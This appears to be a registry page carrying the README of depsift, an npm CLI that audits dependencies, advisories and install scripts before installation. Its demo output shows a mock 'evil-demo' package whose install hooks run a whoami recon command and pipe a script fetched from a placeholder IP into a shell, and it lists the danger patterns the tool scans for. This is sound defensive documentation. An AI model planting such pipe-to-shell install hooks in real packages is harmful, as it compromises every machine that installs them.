
Security News
Deno Goes the Way of the Dinosaur
Cloudflare is acquiring Deno’s team, which will provide another year of bug fixes and security updates before ending support for the runtime.
Should I install this? Audit any npm package — or your whole project — before you install: real (npm-accurate) dependency count, disk, maintainers you'd trust, stale deps, and the literal install scripts that run code on your machine.
Should I install this? See what a single npm dependency really drags in — packages, disk, and the install scripts that run code on your machine — before you run npm install.
npx depsift express
should i install express ?
📦 68 packages added (28 direct, you asked for 1)
👤 38 maintainers you'd be trusting
💾 2.0 MB on disk
✓ no install scripts
🕰 oldest dep last shipped 11y ago — ee-first (26 stale, 2y+)
──────────────────────────────────────────────
GRADE B "some deps haven't shipped in years — may be unmaintained."
resolved like npm — highest version satisfying each range
You asked for 1 package. You got 68. That's the npm deal — and most of the time you never look. depsift makes you look, in two seconds, with no install.
Or audit your whole app at once — run it with no argument in any project:
npx depsift
should i trust my-app's dependencies ?
📦 266 packages in the tree (3 direct deps) · 233 unique names
👤 135 maintainers you'd be trusting
💾 13 MB on disk
⚠ 1 package runs code on your machine at install:
node-sass
postinstall: node scripts/build.js
🪦 12 deprecated package(s)
🕰 oldest dep last shipped 13y ago — async-foreach (208 stale, 2y+)
──────────────────────────────────────────────
GRADE D "..."
That's your entire dependencies + devDependencies tree — every maintainer you trust and every install script that runs — in two seconds, no install.
In project mode depsift reads your lockfile when one is present, so the audit reflects the exact versions you actually installed — not a fresh re-resolve. Auto-detected, in this order:
| Lockfile | Manager |
|---|---|
pnpm-lock.yaml | pnpm (v5 / v6 / v9) |
bun.lock | bun (text lockfile) |
package-lock.json · npm-shrinkwrap.json | npm |
yarn.lock | yarn (classic & berry) |
No lockfile (or --no-lock) falls back to resolving package.json ranges the way npm would — highest version satisfying each range. Bun's binary bun.lockb can't be read without bun; depsift says so and audits your package.json ranges instead (run bun install --save-text-lockfile to get a readable bun.lock). The CLI itself has zero dependencies and runs under any of them — npx, pnpm dlx, bunx, yarn dlx.
Every npm install is a trust decision you make blind:
postinstall, preinstall). That's the exact door supply-chain attacks walk through.depsift shows the oldest dep's last publish, so "last shipped 11 years ago" stops being a surprise after it's in your lockfile.depsift answers all of that before you commit, straight from the npm registry. No install. No node_modules. No dependencies of its own.
depsift checks every resolved package against npm's own advisory database (the same data npm audit uses) and matches the exact vulnerable version ranges across the whole tree — transitive deps included. No Snyk account, no AI that might hallucinate a CVE, no token.
npx depsift lodash@4.17.4
🛡 10 known vulnerabilities (1 critical, 4 high, 5 moderate)
[critical] lodash@4.17.4 Prototype Pollution in lodash
[high] lodash@4.17.4 Command Injection in lodash
──────────────────────────────────────────────
GRADE F "5 serious known vulnerabilities in the tree (1 critical, 4 high) — patch or avoid."
A critical CVE alone forces an F (exit 2), so it gates CI. Install a patched range and the card goes green.
Other tools tell you a package has an install script. depsift shows you the exact command that will run on your machine — and flags it if it reaches the network, pipes to a shell, evals, or reads your env.
A legit native build looks calm:
npx depsift node-sass
⚠ 1 package runs code on your machine at install:
node-sass
install: node scripts/install.js
postinstall: node scripts/build.js
A package doing something it shouldn't lights up red:
⚠ 2 packages run code on your machine at install:
evil-demo 🚨 dynamic-exec, network, pipe-to-shell
install: node -e "require('child_process').exec('whoami')"
postinstall: curl http://198.51.100.9/x.sh | sh
helper
postinstall: node build.js
────────────────────────────────────────
GRADE F "an install script is flagged for dynamic-exec, network,
pipe-to-shell — read the command above before you trust it."
npm install runs these before any of your own code — it's the exact door supply-chain attacks walk through. depsift reads the literal command straight from the registry (no install, no tarball download) and scans it for:
network · pipe-to-shell · dynamic-exec · obfuscation · reads-env · destructive/recon
So "I'll just install it" becomes a decision instead of a reflex.
npx depsift <package> # audit one package before you add it
npx depsift react
npx depsift @scope/name
npx depsift left-pad@1.3.0 # pin a version or range
npx depsift express@^5 # ranges work — resolved like npm
npx depsift # no arg → audit ./package.json's whole tree
No flags to learn. Run it, read the card, move on.
| code | meaning |
|---|---|
0 | grade A–D |
2 | grade F — risky |
1 | package not found / network error |
# fail a PR that tries to add a package graded F
npx depsift "$NEW_DEP" || exit 1
Starts at 100, loses points for:
Maintainer count and oldest-publish age are shown for context (they're the who and how-fresh of what you're trusting); they inform the quip but don't directly move the grade.
A install with confidence · B fine · C look closer · D heavy · F real risk — read the install script.
Hits the npm registry packument endpoint and walks the dependency graph in parallel — one request per unique package, covering deps, size, install scripts, maintainers, and publish dates in a single fetch. Every dependency range is resolved the way npm does — the highest published version that satisfies it — with its own zero-dependency semver matcher (cross-checked against node-semver for parity), and the tree is deduped by name@version, so the package count reflects what actually lands in node_modules. Nothing is installed and nothing touches disk.
Zero runtime dependencies. Node 18+.
npx depsift <pkg> needs no install. If you want it on your PATH:
npm i -g depsift
| depsift | npq | should-install | howfat | |
|---|---|---|---|---|
| Real CVEs (npm advisories) | ✅ | via Snyk | AI-guessed | ❌ |
| Shows the literal install-script command | ✅ | ❌ (warns only) | ❌ | ❌ |
| Install-script danger scan (network/eval/…) | ✅ | ❌ | ❌ | ❌ |
| npm-accurate dependency resolution | ✅ | n/a | n/a | ✅ |
| Whole-project audit + letter grade | ✅ | ❌ | ✅ (AI) | ❌ |
| Maintainers / staleness signals | ✅ | partial | ✅ | ❌ |
| Runtime dependencies | 0 | 4 | 5 | 5 |
| Needs an account / API key / AI CLI | no | Snyk optional | yes (AI) | no |
| Deterministic (same answer every run) | ✅ | ✅ | ❌ | ✅ |
| Changes your workflow | no (read-only) | yes (npq install) | no | no |
depsift is the only one that is zero-dependency, needs nothing installed, and shows you the exact command an install script will run — backed by real advisory data instead of an AI's best guess.
MIT
FAQs
Should I install this? Audit any npm package — or your whole project — before you install: real (npm-accurate) dependency count, disk, maintainers you'd trust, stale deps, and the literal install scripts that run code on your machine.
We found that depsift demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 1 open source maintainer collaborating on the project.

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